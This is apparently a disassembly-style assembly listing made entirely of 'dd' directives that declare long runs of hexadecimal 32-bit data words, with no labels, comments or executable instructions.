		dd 0D5D5679Ch, 78FC7175h, 0C5D22ED7h, 22E8BEEh,	0C0CFA8F8h
		dd 0C217E596h, 1EBBE74h, 0B5C9C770h, 0A87BA12Bh, 0C116DA93h
		dd 0E86C3925h, 0E7F6C9C2h, 202386E8h, 54F2D765h, 860073C6h
		dd 8562E790h, 0BBCD5D75h, 0DDF27224h, 0CFD928A3h, 23C162EFh
		dd 8B142A8Fh, 0FC9D905h, 2571E1D3h, 1DFF4D86h, 71F8B2F9h
		dd 0C72F3056h, 1A2318C1h, 37D3E2EBh, 431D8CCFh,	0B240A0C2h
		dd 915A0919h, 0E455C50Fh, 0BFDBB5AFh, 508605E6h, 5BBBBBF3h
		dd 0F92F7F25h, 0EE878775h, 870FBFE0h, 0BCDE28C7h, 4C46BEE2h
		dd 0BE3EF4BBh, 79E5FFE2h, 0BE44DDFCh, 9D1B05D9h, 0CD4663CCh
		dd 0B13BB026h, 0F9AF7848h, 0A894F5E0h, 748B2FDh, 3E7D24Ch
		dd 6C36BC03h, 2B3896Eh,	0A549184Fh, 55A10782h, 0A9D0877Dh
		dd 0F52D96B8h, 0A20B9AAh, 0BE156602h, 823FF99Ah, 0EF9B77B2h
		dd 0CE1C924Dh, 529C0389h, 0EE31E0D0h, 75AB09E7h, 7A70EBE3h
		dd 19CB8654h, 0A32FFD5Dh, 0BBB29C81h, 0E66311Dh, 65D3F234h
		dd 6BD9E52Fh, 347CD6Fh,	357E9893h, 2C42BBF4h, 752D4589h
		dd 0C4E7F043h, 0D6DF7CBAh, 0E7A3ACE2h, 0F199BC83h, 0B8EFD07Ch
		dd 172DB190h, 2F574FDh,	1A7AE3C3h, 0CC655E3h, 0E363CCB7h
		dd 0C61A671Ah, 0EC96379Fh, 0FADF057Ah, 272C8D27h, 3853E55Ch
		dd 4AFF73B9h, 0B4FD9D9Ah, 0EC0F2B30h, 0F373F49Ch, 0DFDD1DAFh
		dd 0C7FAF1F8h, 64793614h, 0BEEEF649h, 27EB35A9h, 36FB45D6h
		dd 39D51A27h, 0D25C7BE5h, 79BA6356h, 9F1E776h, 687AD376h
		dd 7360E094h, 0C50F5B9Ch, 7ABB8D25h, 0EE294D2Dh, 0FDA0AA9Ch
		dd 0FC5ABB28h, 0F2D8F7EFh, 68E8D989h, 468FA9Ah,	49046F91h
		dd 0E3DD05F2h, 77BBCF45h, 0B674CEACh, 0CEA578E2h, 379139F6h
		dd 194E4D7h, 9B09A9E9h,	8D53EA66h, 49D0E89h, 12E90C7Eh
		dd 0DAA60BC0h, 0DA1EAEF9h, 846EA4E2h, 17EB057Dh, 833D25F9h
		dd 8A900CD5h, 23CF9F41h, 70B55E32h, 335CC74Fh, 0B403BC62h
		dd 881B10D9h, 0DDD2DE90h, 22B88181h, 243AC644h,	0AAB7D04h
		dd 5E749450h, 1579613Ah, 8993E5DFh, 92EBB2BEh, 0EA92D999h
		dd 0B27546DAh, 0D85C6C0h, 2B10BBD9h, 0F51EFF99h, 828DFDBAh
		dd 3EB007Ch, 0A6B2189Dh, 93DF2434h, 8FF9A95Ch, 9993C506h
		dd 355040B0h, 20DD1E23h, 98D3464Eh, 7C5F5BF7h, 5EF9E975h
		dd 5A1ACD9Dh, 0CD5CEEEAh, 0AC378BEDh, 92F03C87h, 0BC16E676h
		dd 0CA14DFC6h, 0E65DD7C2h, 86F90A75h, 0F792992Ch, 514DD5CBh
		dd 0C3DF25D8h, 0E5223F8Dh, 255109F7h, 1C4AE15h,	0D4A8AB52h
		dd 0E0B503E1h, 0E6B935E7h, 2C5702ECh, 5571075Eh, 0B89CC62Ch
		dd 0FBF92A26h, 2A519AADh, 0AC3E5B2h, 0C3C73B13h, 93201218h
		dd 5EE29058h, 555A8E57h, 9412F403h, 1601D412h, 0A5E0BD39h
		dd 1411B999h, 9DA0C93Ch, 4D0B3C45h, 5F52B69Bh, 4B5D8EFCh
		dd 5AE21B04h, 9FE64914h, 5F3AD71Fh, 8F1EECE0h, 8D2299CFh
		dd 9BA2C995h, 0E821CB6Fh, 0DF36F01Fh, 0FCD9F315h, 0C325F013h
		dd 6F908E17h, 1507E00Dh, 0AA8A1DE2h, 0CD80D898h, 6560534Eh
		dd 15C39880h, 760EE7E1h, 77CD6A34h, 0CAADE35h, 958F3198h
		dd 0C1FFAB4Fh, 23ED1B8Ah, 0BCBD612Ch, 0C9D0B90Eh, 8A8013FCh
		dd 0E4221FDDh, 6E63866h, 30A60713h, 0C7FECC06h,	7D01F8D5h
		dd 0DEEAD294h, 0B8E2181Ah, 0F63BF997h, 0CCB39269h, 0C741B18Bh
		dd 0A594E17Dh, 948AC0D0h, 589AD5B4h, 0D48F1F16h, 0B2A810CDh
		dd 0BA890C81h, 52DAEFECh, 40779D12h, 0C026C2Fh,	3A5458CDh
		dd 0F390CB7Eh, 0E0F6205Ah, 0BAF957A4h, 69B5177Ah, 0CDEC0CEFh
		dd 0C2710019h, 30BC2455h, 0F44D3626h, 0C626B7D2h, 0BED724A1h
		dd 0CBEC1D6Ch, 0E8968FE0h, 803ACCD8h, 9599414Eh, 13155AE5h
		dd 65B4FC0Fh, 0F445D91Fh, 8D1465ACh, 0C9E09AA1h, 8B432902h
		dd 433A9F0Eh, 4587257Fh, 0FD9C9DDFh, 3444390Bh,	500E0A88h
		dd 2322C1DBh, 79AFB730h, 8625E66Fh, 2E5F1E87h, 915ABD55h
		dd 0C5B2F71Dh, 0B4E15E8Eh, 0B3115DBAh, 0E58D78DDh, 87F6FBF5h
		dd 0DB999EE0h, 0B1D7B1DEh, 0CC59B3C7h, 3E7638D5h, 63CDA288h
		dd 84E136D7h, 0C5FBA830h, 133A31E5h, 8D91F8B7h,	0BA80B867h
		dd 33116D59h, 9D69DFA4h, 294C559Dh, 0F635D44Dh,	0CD3519F9h
		dd 65F1E1Ah, 7250404Eh,	0A12C602h, 0E9A0BCF5h, 96B4B3DDh
		dd 9824E3DAh, 1AA19C09h, 0E00297FDh, 8A2FCFB3h,	0C1AD288h
		dd 0F494EE0Fh, 0E79A659Eh, 0AD9389B7h, 8024E204h, 0A4356176h
		dd 0F5F89748h, 24189BB4h, 1A3F3400h, 39F96B28h,	0DB30414Fh
		dd 0EFC39819h, 3632B27Bh, 4E97A50Ch, 0F6308C55h, 0F4B286FDh
		dd 0CFE29815h, 8AD85022h, 325D22A1h, 34D52706h,	559340D5h
		dd 8993AB6h, 7EBA1897h,	31ED65Ch, 0C119675Fh, 0A9ABFFACh
		dd 0C34D835Fh, 65692C31h
		dd 10065E3Dh, 18EEDE81h, 4158DD76h, 91C952CFh, 0CBA72A0Ah
		dd 3E11E32Ah, 332F5FC7h, 885AA729h, 0E172809h, 32FD5ED5h
		dd 50972ED5h, 0E45536F2h, 39218CBFh, 0D97CDED2h, 0F48780CFh
		dd 4365E1F1h, 6320858h,	94A13DC7h, 0DE3EFF67h, 4299C44Ch
		dd 49682AAAh, 0AD4C607Eh, 4659869Fh, 788E3C87h,	4017E6CCh
		dd 67E651FDh, 4951458h,	1377CE49h, 111D2DC4h, 2C191C14h
		dd 0BD5092F8h, 0DEF972Dh, 4CB97E43h, 2E9B8D15h,	4B54A81Bh
		dd 9101DBF4h, 1B6A4DB0h, 0F16933C3h, 508454BBh,	45D57E94h
		dd 57579DAh, 8578D876h,	0D9FAEADCh, 1EA705CBh, 0F54A9E14h
		dd 0F605215Bh, 0B9629003h, 8B7553DAh, 0BB4FECDDh, 70CF70B6h
		dd 6ADEEF36h, 535F4BE1h, 0C1A8D4B0h, 8A15B77Ah,	0B323B8C1h
		dd 0B94EA5A2h, 5469E0E8h, 0CE5F30A8h, 93FD64ACh, 0C0A2E43Bh
		dd 1CB13062h, 0E6FDC4DFh, 0E9DAC274h, 88EF4824h, 432D999Dh
		dd 70186D2Bh, 4A25E683h, 19DCC431h, 4E1DFAEBh, 3302AB73h
		dd 1D3A46B6h, 7A111597h, 4D2BE03Fh, 0A1917E99h,	2F2DCEAh
		dd 7847B85Ah, 0FD60A2C9h, 8613CD86h, 0BEE1F4F7h, 987070E9h
		dd 0B84CF645h, 49B0EF9Eh, 16E0A4A9h, 147B21Ah, 3FDCCCDCh
		dd 598C0123h, 657F1DD2h, 0BF5FFCCFh, 8577A4F5h,	0B85DA788h
		dd 12898ADBh, 0FA1CE91Dh, 827AF511h, 0D5D55B6Fh, 0CECE1BFCh
		dd 9EB35DC0h, 2598C10h,	0AF7AAA55h, 0E0F3C550h,	0C5CEB318h
		dd 0CCE68A1Ah, 9D1EE05h, 599E1028h, 0D5861839h,	0D7C16B02h
		dd 0E8A08299h, 79C2D639h, 5A53CF4h, 17A0F975h, 6DCCA877h
		dd 0DB6DCC1Bh, 380C527Eh, 0ADBB523Fh, 84C29FFDh, 0A77E8C2Fh
		dd 0BBEFAA71h, 60117EA8h, 0D0D7512Ch, 0C221905Ch, 42D3A232h
		dd 89C3B28Fh, 0B95EFA0Bh, 31700E47h, 0BB2A67ACh, 0B04156DAh
		dd 64333CFEh, 64312DAh,	8105E588h, 0DA9C3103h, 0BA24A02Ch
		dd 8423C129h, 2E2B4F75h, 0D53D3943h, 0D4EF7D2Ah, 0FDDB63DDh
		dd 6AED44C6h, 0EB0D14EEh, 9F653FD1h, 8C2DAD95h,	0EDB7A534h
		dd 79FB8634h, 0FDA6A17Ah, 7FA46B83h, 0E14306D3h, 83BBF7DAh
		dd 28A16A1Ch, 0C37BCCB9h, 0F87D189Bh, 0CA8F6B26h, 602ECF1Ch
		dd 5818B75h, 0EB19A5D2h, 2D73FFD3h, 783ABA6Ch, 0BA613F8Dh
		dd 0B274329Ah, 2F221C9Fh, 0E2707CDCh, 7974B0CBh, 0CA70A588h
		dd 22184A19h, 8A7CA309h, 6B628E75h, 84D3C675h, 0C931CCCAh
		dd 4B266B1Ch, 25CCCE4Bh, 0FCE3CC6Fh, 1BE1A02Dh,	24540AD6h
		dd 88D43737h, 0C15A8BEDh, 38AAAC4Fh, 1951192Dh,	0D9E83459h
		dd 8D6E775Bh, 0F6305F32h, 0BB4922D8h, 5E21EC6Dh, 2D67744Bh
		dd 0B13BEF52h, 0F9DC95C9h, 127A1F19h, 34F29928h, 0FD87390Eh
		dd 0CA2099B5h, 76EFFD15h, 0F33AA8B9h, 40C11BBEh, 0E95362D2h
		dd 0B236F198h, 9D7ADB83h, 13A515DDh, 58E7BB3Dh,	0EDEFB4D0h
		dd 1732FF1Dh, 0D4FCD1AFh, 8A9337F8h, 0F4468739h, 0A8F4A252h
		dd 0EE67FD5h, 0F603D345h, 0CD4BDFE0h, 713B4C15h, 79FD9289h
		dd 0A102EDF7h, 77181A75h, 0E6E68359h, 0C3CDCB88h, 11099E00h
		dd 0FDAE7904h, 0BEB3D809h, 0B269531Fh, 73FD1521h, 1FA7BB92h
		dd 6233CA01h, 5B193D37h, 2A0796Ch, 0A6796068h, 3CCD9EDAh
		dd 9B0ADC6Dh, 31181675h, 0BEFD6F24h, 0CED0A89Ah, 8FEBD875h
		dd 4A02AF2Ch, 0AE1D9E91h, 88826CF2h, 5B464EC1h,	0F5AED23h
		dd 0D9531869h, 0BD3FFF9Dh, 1C5B4203h, 8621A20Fh, 86B07495h
		dd 0EFEB1675h, 86DFD0B5h, 20E1FA80h, 0B54B6810h, 0C638BC25h
		dd 8829E3A1h, 8AC8E8F4h, 0FD242CB1h, 2A3994Bh, 4624FD4Eh
		dd 26AA601Dh, 46DAE83Dh, 7825709Fh, 0ADA26699h,	0C82D6957h
		dd 54E77E75h, 15F2A429h, 0DC05DD34h, 8CB1FCDFh,	80792A82h
		dd 0F559DC88h, 145AA411h, 4EB1A1CBh, 0D821E2D5h, 0BCDC0C15h
		dd 8E7D91F5h, 8EFC5CDDh, 0B91F0081h, 0F01A077Ch, 0C7AE709h
		dd 945F88D8h, 65959CD5h, 4E27F033h, 0F46EA9AFh,	0A77BAB86h
		dd 0DFF19765h, 0F94F0A21h, 0EA861FCEh, 0E416A7CFh, 0C51BC5C7h
		dd 0C5B4D92Fh, 8B60450Fh, 0C6257ED6h, 0EADEA590h, 0CDE2A2CEh
		dd 5F5A99CAh, 0B9B0090Ah, 86FC1890h, 471C3A05h,	0B7EE8F95h
		dd 19151670h, 0BA191EFDh, 8ADD3D82h, 0CAD922C8h, 0AE264FD3h
		dd 2FEC6BE7h, 0C00B9FF6h, 7EE2752Dh, 9CF9475Bh,	2DFE2755h
		dd 143963CBh, 0A9CCB4F9h, 8DF452B5h, 88280F94h,	0C87042FFh
		dd 96F89CBh, 4A9DB79h, 7550E010h, 0FE20606Eh, 448C644Ah
		dd 0ECDD2226h, 6378513Fh, 93186C05h, 0E7849E89h, 0AEDAE22Ch
		dd 431BB5D8h, 0CA04A740h, 0BB11391Ch, 0E85ED93Fh, 0FB25CE17h
		dd 0CC17CBC9h, 0C225FAE1h, 53E587D3h, 0A0D8F605h, 74506047h
		dd 0C1ABF79Bh, 4F1E628Bh, 91CDBFCh, 2127DF41h, 0C514C9D7h
		dd 4CDEDB69h, 49E6F90Ch, 89AFAFC9h, 0D1DB6CD4h,	5AE0A755h
		dd 867AE04Eh, 0C8A6C1CDh, 6E14A4D0h, 0C5231757h, 5BFE1BC4h
		dd 5E32285Fh, 4FE0BD8Dh, 10DD39FDh, 86FB2103h, 0A8FE6E34h
		dd 0A221F5C3h, 8E291F8Fh, 5107C40Fh, 8A3D0268h,	0E814AF9Ch
		dd 0FB176C4Ah, 89CAAF0Bh, 0B1EA8CDh, 0C28516ACh, 36F0EE95h
		dd 0BA1FEADEh, 1E10AF2Ch, 411EFCDCh, 62D01D95h,	0BB0C3771h
		dd 7747BB81h, 5DBF6471h, 455FD58Ch, 4585CD70h, 85E3DA89h
		dd 0BED1DED9h, 83CDD2A8h, 0D53EB1C6h, 8B3032A8h, 0D52A18C8h
		dd 3419D895h, 4E0DDCC2h, 7DF4D973h, 0E6B8B90Ch,	83F2E791h
		dd 0E9597C38h, 0CAAE80CEh, 34937492h, 46E146FDh, 0DCE17795h
		dd 4E2A2295h, 0F942DE8Ch, 46F19175h, 861F7615h,	9DC45D8h
		dd 8408C018h, 862F9D27h, 0C6571AC1h, 71E17C7h, 317E4F71h
		dd 0DC62C8B1h, 0B7459C35h, 8AB49CA8h, 0C2DF072Fh, 68E4D9AEh
		dd 0CE1F772Eh, 57EC1EC8h, 0FF7D9BD4h, 4251BB50h, 693CD846h
		dd 0C01190ACh, 2550021Ch, 4A27A224h, 0D9D6A208h, 2A9EA2CAh
		dd 3221C1D3h, 2E2A30CDh, 49E4D941h, 2B47D07Bh, 0AD0E98C3h
		dd 6F1C3509h, 0CC932E93h, 401BA68Eh, 9F1148CFh,	0DE1FC115h
		dd 0BDDD096h, 0EB14D0FAh, 0B870D0EBh, 955AE9CDh, 0D53CBECDh
		dd 6D4EF019h, 3D26F7FCh, 0D13A1D3h, 0DAE44F1Dh,	7E1504A8h
		dd 9B1EE3ACh, 42EAA0ECh, 0A18CA506h, 49D7F0D8h,	2FE9AAD3h
		dd 32D81DFh, 439933B6h,	0D82818Bh, 46DEA193h, 2DFA249Eh
		dd 0F911D432h, 945D9820h, 964EC5C3h, 96E55E88h,	9717FDC3h
		dd 0FF13C66Fh, 0D139EB27h, 6929469Ch, 5880D28h,	8EB31019h
		dd 575038BDh, 0E5F1FB02h, 136FE6A4h, 86654135h,	35F912C0h
		dd 715DD41h, 6B4F40B2h,	0E9EAE3A9h, 21AC2D4Eh, 0D9470D46h
		dd 3C996136h, 0D39E2D5Bh, 84384435h, 0F16392C6h, 0C64E68B9h
		dd 0B5BF4171h, 64811E52h, 0DA33D67Eh, 0B0270C9h, 0DF7AE6F7h
		dd 0C52095CBh, 8BA6C131h, 0F93CFDC1h, 9307E382h, 0C0C0EBBFh
		dd 902A129h, 7525B3E8h,	69EA993Fh, 0C93F9710h, 3139A577h
		dd 0E76104A4h, 85C7B648h, 1091385Fh, 69371C8h, 0DAB0FC0Dh
		dd 0B3A217EDh, 44AB2F7Dh, 4A96B6B0h, 87086DACh,	3ADCD257h
		dd 19C82169h, 21C50D03h, 0B738E892h, 6621D810h,	6481AE92h
		dd 0DAF8D9F1h, 31B464Dh, 3F40B918h, 0BD8AA109h,	3157EB1Ch
		dd 0D4F7700Dh, 0DAE6676Bh, 0C4D4EE50h, 9CA75D4Ch, 49D0E0F5h
		dd 41511A54h, 0F3EEBBE3h, 5A9DE647h, 0E980BD1Ah, 0FA2A581Ch
		dd 0E2DB275h, 4FA767A0h, 0E1C2F357h, 95E5C1DFh,	96ED3807h
		dd 0C4EF8D22h, 8846B31Ch, 8DCDEFC9h, 1AE7A610h,	0A179F6DAh
		dd 28ACACFEh, 0D4CC7C2Dh
		dd 0E0152C8Dh, 4F6F3174h, 0E5B59676h, 48090DB0h, 0A9A7F4C0h
		dd 0E7EE8130h, 4905EB51h, 8CCD0419h, 89EE98C9h,	19A2D8DFh
		dd 6439CC83h, 908EEEC3h, 0F3379776h, 9E66E0D4h,	0F4D8B92h
		dd 5C1E469Eh, 6ADE5C29h, 7018DEDDh, 0CDF8C88Ah,	4E9CAC9h
		dd 842B6C39h, 95F25A3h,	8361F003h, 0B39846E9h, 0A598C1DAh
		dd 0A9D7F5DEh, 9280F9DCh, 4FE0FC17h, 0F8EFC83Eh, 801FA175h
		dd 0FB4AED2Fh, 7281CEAEh, 0FFBC95C2h, 0B70F8C1Eh, 99B72CEBh
		dd 17AF631Fh, 0E8F90A31h, 28CDA1A9h, 9859E379h,	0CDAC86C1h
		dd 9978388Ah, 6C161C05h, 0ADE91598h, 18155B93h,	0F9DFA663h
		dd 5DE2E741h, 0C1EB7FCAh, 8A21CD1Fh, 0A8E31A10h, 0ADF6DE9Bh
		dd 5FEBA199h, 988FA000h, 0C5E124ABh, 2D0EA0E7h,	0FCDF41AFh
		dd 5224FB87h, 44DB9D3Bh, 0CFD3DE80h, 8CF8A12Bh,	0E7CA9E4Bh
		dd 9D10C78h, 0C630D606h, 57AFCE2Bh, 5A1E9B48h, 56BBCCC1h
		dd 19E7FD9Ch, 2E2EAF74h, 571EDFF7h, 0CBCA381Eh,	0F4A964B6h
		dd 0FA0EEA6h, 0A49E59E9h, 0D23FA31Dh, 7D9CFD1Ch, 15A49E54h
		dd 0A1D69EC6h, 3DA71EC3h, 39EBACD7h, 592EDFBCh,	0C55FFEC8h
		dd 7831D6CCh, 4410A837h, 0BBD5B12Fh, 9982C691h,	86DE9AE6h
		dd 489144DCh, 7F186E75h, 2C61C0DEh, 3AF03643h, 0EB1658ECh
		dd 6C3CD4EBh, 15B5E7DBh, 0D056B802h, 48796389h,	0B57B063Eh
		dd 5FF8BEFFh, 6D41CA30h, 4E22AC9Fh, 0B81CDE35h,	9C89EED8h
		dd 22213037h, 6F393ED3h, 0EAC5B895h, 244EBEE8h,	0ADEE77C7h
		dd 0CFCD875Dh, 8BDD8D89h, 998DAFAh, 280AA265h, 0D81CDCFh
		dd 0C0AFA39h, 84E4EF5Dh, 1685E65Bh, 0AD6CA31Ch,	0EC9F462Ch
		dd 0A25F5874h, 0E9EA6BE9h, 90D84AAh, 438417Ah, 5744090Dh
		dd 0D0D1F8E5h, 0CDD5C019h, 1DFAC4A1h, 0D70FE8C8h, 65C72730h
		dd 91A6C6F9h, 8762FA3Fh, 0E202B9D8h, 8F5B9122h,	36D513C6h
		dd 0FDBA05C2h, 51201C4Ah, 1023E725h, 0CC09D499h, 93DAEDEh
		dd 2E311A15h, 45CAD696h, 0BEE13F89h, 0DB02F012h, 0C4A5752Eh
		dd 654630DCh, 0A92357DEh, 0BAB965DAh, 9A969D19h, 0EA6D4581h
		dd 17A2C4EDh, 43F91154h, 0A95E8290h, 0B2792396h, 31D24A8h
		dd 87955C8Ch, 84A3B508h, 0DF430C3Ah, 9CB7EC88h,	0A3FECCh
		dd 0D9E86Bh, 5F89D6C2h,	0FA2C63A4h, 0AF97458Fh,	0F55ABD3Ah
		dd 65FAF008h, 49ADADD5h, 36E7C0A6h, 8E396BD1h, 0FDE7C0C4h
		dd 0B7A098B2h, 0F8C3BBE4h, 0DA4C850h, 0E9F75CA1h, 67E7B1A7h
		dd 0B0242365h, 8D3A71C4h, 0AB89A442h, 0FF138B9h, 4316EBB1h
		dd 0C8901555h, 0A80DB975h, 8BF3D451h, 1F103E1Fh, 4C36E705h
		dd 0F633EA65h, 15ADCE91h, 0FBB2A7DAh, 61D689Bh,	99FAE208h
		dd 0A589ED4Eh, 0D3F30BB0h, 36B2C56Dh, 7D31C825h, 49E29DC8h
		dd 97B19D17h, 82F991Dh,	86943908h, 0CA5D8C73h, 510D0140h
		dd 651CB33Dh, 0E5255F21h, 0FE1C136Bh, 3C0CAE5Ch, 0E000031Eh
		dd 0EC4FCF45h, 0E83AED76h, 862EDC95h, 669D9934h, 0C4FACA8Fh
		dd 2213CE24h, 0EEB549CBh, 35C8694Eh, 0D54E2EDAh, 0A395EF8h
		dd 0DCA2B780h, 3F50EF12h, 393C5BDCh, 0B53A1ED4h, 191E9226h
		dd 103EC9D6h, 0AB42DBB1h, 9DA41338h, 4B9BCDC2h,	0C454C187h
		dd 78969213h, 0DD2C4A64h, 862E0815h, 0E63EACDAh, 0DFF8B08Fh
		dd 4CB5523Bh, 0FC51D12Ch, 0BFF24710h, 2F878FD6h, 0E91CABBBh
		dd 4CC01AC7h, 0C2586C0Ah, 961CBADCh, 2DE1E0AFh,	510527A8h
		dd 1191A3FCh, 0FB371339h, 3278CEE7h, 0E76EE07Ah, 2352CD00h
		dd 0B56445D3h, 0B6A5AACDh, 2EF94983h, 0B797C014h, 0AA03EF16h
		dd 0AE17EE21h, 40D99D59h, 777A87ADh, 46A744B5h,	4EF0A699h
		dd 12953999h, 0B020CCAAh, 6B00189Fh, 1F84AE00h,	54B4C950h
		dd 0FE015675h, 0EB04D94Eh, 0C49F5555h, 23AA6C9Ah, 0D407F253h
		dd 6E5C60D2h, 0A27AFDEDh, 9AD08C9Ch, 4A1648F5h,	0B72E622Fh
		dd 0EC1542B7h, 870FAABEh, 0B1991D2Eh, 0EDC4B3FDh, 30AA2C49h
		dd 76E31D3Ch, 8193EF14h, 901584Eh, 3C7BC995h, 76CA88E3h
		dd 0AB9E763Fh, 1FEBC0C0h, 0E18AFFF8h, 0F55DE4A6h, 9C79E5B5h
		dd 0BBE3CA4Dh, 8121102Ch, 224050D5h, 86AD1332h,	201887CBh
		dd 6D024999h, 0E16A2E9h, 9B1F3F49h, 81907786h, 0DDE73846h
		dd 47AB29C9h, 7ADCC8B2h, 0C521A8AAh, 0ED85C2A9h, 0D6D1A8C9h
		dd 0E2EAA794h, 762F6E92h, 0DBCA383Ch, 0F4E974C6h, 0C9A9C544h
		dd 0C93FE0ACh, 0E51DF8BAh, 4A5EA8C1h, 5A0FD8C8h, 67033A49h
		dd 8EFEA2C5h, 0A5BF3D36h, 3522DB7h, 8DFCD92Dh, 0B71D0EEDh
		dd 0B61D40D9h, 81E07A42h, 0E0E2EF44h, 0EB07B789h, 0BEF47712h
		dd 0AA1DA9FBh, 909EAF01h, 7B82143Ch, 0C2C37A06h, 0B938F775h
		dd 5995D04Bh, 70F7A6CFh, 0B13DEE86h, 0B75CC6D8h, 8A184308h
		dd 95DB3D22h, 0E51F3684h, 0DDA7CD11h, 0FFC8767h, 0E86F1F8Ah
		dd 9DC9C462h, 51049B94h, 0DCF01E6Ah, 0FCA5F635h, 0C239F43Ch
		dd 836A0F1Dh, 0B1C11233h, 1E0FAF25h, 0E1B6C379h, 0B09919D9h
		dd 0FF368B9Ch, 0E49C389Ah, 60C774B2h, 5A2CC1CFh, 5D80487h
		dd 3A1BC4CCh, 4CA06A39h, 0E8EAC1F2h, 3C207DAFh,	0BBAD9118h
		dd 2526B8DAh, 41E3C29h,	9F4E01B5h, 0D0027CADh, 6C03F094h
		dd 38ED13E3h, 0EE8A5C9Dh, 0E58708C0h, 9AEEABB1h, 421A8B87h
		dd 74997C3Ah, 6606503Fh, 0EC34380Ch, 0B3399DBh,	0E6063554h
		dd 42383CF8h, 0A8AC34FDh, 4A396FC3h, 948AC39Eh,	4AF506B8h
		dd 18AD6E2Bh, 0AAE9C32h, 0F59B30A4h, 0ED6938E1h, 4D763F51h
		dd 4E5FDE42h, 8DE1DCD1h, 0F5127ED2h, 58251DE1h,	4F690433h
		dd 42F37231h, 7E1ED055h, 0A9F339DBh, 0FF1AAEFCh, 0DD591CE4h
		dd 36FAEE36h, 0CE9EB3C6h, 0E9A1F183h, 39037E06h, 0BD31D706h
		dd 0DA1ED21Ch, 475FDD34h, 2A1862DDh, 0C44BC6DBh, 81D9F870h
		dd 7A452EF8h, 0E91FF8F1h, 9AFEC45Eh, 0C8E05579h, 0C97D94D8h
		dd 9F0938EDh, 0CE3F8356h, 0FB59D320h, 2AD7ABDEh, 8499EF3Ah
		dd 0CA15EDA1h, 0F4038F9Bh, 0A7F9B83Dh, 57961B11h, 65388B14h
		dd 5E7082F4h, 45908B4Ah, 4DD9F62Bh, 4484AFE1h, 0F8FACA2Ah
		dd 0E859C0BBh, 0BE3EBE19h, 0ED2B38F7h, 0F99CBFB7h, 0EBFACDDDh
		dd 0ED0DFFD9h, 0FE3A00CFh, 0F11E65F0h, 0E53D8B89h, 552EC40Ah
		dd 51E208E4h, 0AF4C7221h, 75AD7D03h, 4C54C3D4h,	0F4F7CB21h
		dd 0E12A985Eh, 64AEDC9Ch, 0A1395918h, 58F09D95h, 4DF783A4h
		dd 0BFBFA08h, 11A264C5h, 513D38B8h, 4F90BA34h, 8CF4BC2Ah
		dd 993CF71Bh, 0CE69B336h, 0EF10AA15h, 0FE3C967Ch, 4451DEECh
		dd 8B41FB31h, 945A9937h, 4C525h, 0B7CACE33h, 443CDEC7h
		dd 67883731h, 0C559DEC5h, 0AE59F852h, 0B781A17Dh, 0EF1A164Ch
		dd 0A706FE6Fh, 0E87118E3h, 7B5925EAh, 7C38E5D2h, 0EFA0AEC5h
		dd 3481DE91h, 0F537C6CCh, 0EFFF1917h, 0E8DCFFE3h, 0F9C18C14h
		dd 5912DB39h, 0C2A148A8h, 2107F889h, 43153091h,	8F124765h
		dd 59779C1Dh, 0ADEFCF17h, 217D2B69h, 1A54B688h,	4D15795Eh
		dd 20BB04DEh, 22E71F3Eh, 40ED7391h, 5A9DA09Eh, 0D987506Bh
		dd 4A117877h, 0DB525C1Dh, 42EA004Eh, 0CE534FC0h, 7942BB94h
		dd 8885067Ch, 633F3859h, 0EBA55C40h, 3F291D75h,	623B0376h
		dd 8D7F4518h, 0F4B8B659h, 0C507D7B2h, 0F60604D8h, 58D9AE50h
		dd 0DA0D387Fh, 6D78FF2Fh, 9E284886h, 56F4DF72h,	0A8826A5Dh
		dd 215C01DDh, 21569897h, 0B6B86289h, 0C1AE6117h, 87B96B15h
		dd 4ADB6B75h, 890CEB4Dh, 0A39696B7h, 0E60F3917h, 0C4EB679Ch
		dd 0BDE5CADh, 0EA54AED9h
		dd 0FF1CE1ACh, 6613A251h, 0C72EAF71h, 1490117Eh, 0EFABA037h
		dd 0E0D9EFC2h, 0DCEEEB91h, 5880C1D7h, 0E49CE51Fh, 81DA100Ah
		dd 0DAADB206h, 5B5353Dh, 4D9C62DDh, 0FCF64C45h,	4C321093h
		dd 0F4499DB4h, 0E7D3CC38h, 4A055FB9h, 0FCCA641Bh, 0D4D84D0Ah
		dd 0F65ED02Eh, 5DAB190Bh, 0D45CC8EAh, 0F11BF983h, 87043805h
		dd 0A388899Bh, 0AF7F7758h, 2037C09Fh, 0F8412D30h, 43FA48F8h
		dd 85A97741h, 2E21478Fh, 9ED6FFE6h, 0F75B7E15h,	22ECEEF7h
		dd 0F830DA31h, 1E2DA196h, 80254E7Bh, 0E3029F55h, 0D0D88E15h
		dd 0B1C65819h, 0CD602B26h, 4097F619h, 0C0357130h, 0A362E67Ah
		dd 2ECBA117h, 45D225F8h, 6333813h, 39E7F5DFh, 0E538120Ch
		dd 0BE081733h, 0C84A6A94h, 9DD44F82h, 0FB662C83h, 354E46B7h
		dd 8606E5ECh, 0A948C2DBh, 6954730h, 2C48B2A8h, 0A667E88Fh
		dd 1E3BE397h, 0C91D0A0h, 42E3CDF9h, 2CBBF983h, 934BE734h
		dd 0E3D75853h, 0E10427DFh, 0F17D737Ah, 1D2E30A9h, 191D77E5h
		dd 0A133FE2Dh, 0B8E4ADFh, 94DD661Fh, 0B5F12303h, 0F418AA04h
		dd 0DB2104D4h, 0AA3BCE65h, 3A265DF9h, 0FA578E24h, 4BA26C86h
		dd 5DCCFE24h, 0EA83DCE8h, 0F40D8CF8h, 2A78854Bh, 0BE66CB80h
		dd 5D660C73h, 0D488392Ah, 85B5520Fh, 692E7786h,	7D7C9167h
		dd 0ABCBEE8Fh, 0B5D4A978h, 76E218E4h, 0AA0338DBh, 0ECAEB22Dh
		dd 0E6215098h, 79FEA2F1h, 2BDD6088h, 0F6561EDDh, 0F5176529h
		dd 2BE28191h, 0EB981CDCh, 8D62CA89h, 57DD589Bh,	0BD326932h
		dd 684B43B0h, 7FFB09F4h, 0E8C00E8Dh, 86062CB8h,	24B886D5h
		dd 0E3FE2F58h, 0CB6ADD0Ch, 0EAA83925h, 42E290CCh, 9A697338h
		dd 26A5EEB2h, 0F6103C7Eh, 94A0E887h, 0E5AE5896h, 75741CA2h
		dd 0E889A929h, 7BDD445Eh, 0DDA79859h, 0BF9DF4ABh, 82FEF241h
		dd 66C3E9B3h, 4B5F51A0h, 571E753Bh, 7BF5DB08h, 5BF88C72h
		dd 792C89C8h, 8BABED6Bh, 251DFEBAh, 0CFD3F32Fh,	69A4E8CBh
		dd 0BD15591Dh, 7A27E63Fh, 276B1929h, 61A7588Fh,	3A56195Ch
		dd 0F4889A2Eh, 6511610Ch, 6E4F370h, 0CA1D50C5h,	88FBAD91h
